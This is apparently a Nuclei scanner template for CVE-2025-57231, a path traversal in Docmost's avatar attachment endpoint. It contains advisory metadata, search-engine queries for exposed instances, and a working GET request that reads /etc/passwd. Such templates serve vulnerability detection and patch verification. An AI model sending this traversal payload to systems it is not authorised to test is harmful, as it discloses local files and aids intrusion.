id: CVE-2025-57231 info: name: Docmost 0.2.1-0.21.0 - Arbitrary File Read author: anirbala98 severity: high description: | Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL. impact: | Unauthenticated attackers can disclose local files, potentially exposing sensitive information. remediation: | Update to the latest version. reference: - https://www.artresilia.com/docmost-v0-21-0-cve-2025-57231-unauthenticated-file-path-traversal - https://github.com/advisories/GHSA-59m3-fj8c-996g - https://nvd.nist.gov/vuln/detail/CVE-2025-57231 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2025-57231 epss-score: 0.0173 epss-percentile: 0.77795 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: docmost product: docmost shodan-query: http.title:"Docmost" fofa-query: title="Docmost" tags: cve,cve2025,docmost,lfi,traversal,file-read,unauth,vkev http: - raw: - | GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 480a0045304302202f9df0b4c90ee1777d72980e9a04926fc879a8efea746d4adb3b374f1731712c021f58081ea888762fbfb1e42dfd081d40e1e3188c3c51cef2e311b8d8d734ee66:922c64590222798bb761d5b6d8e72950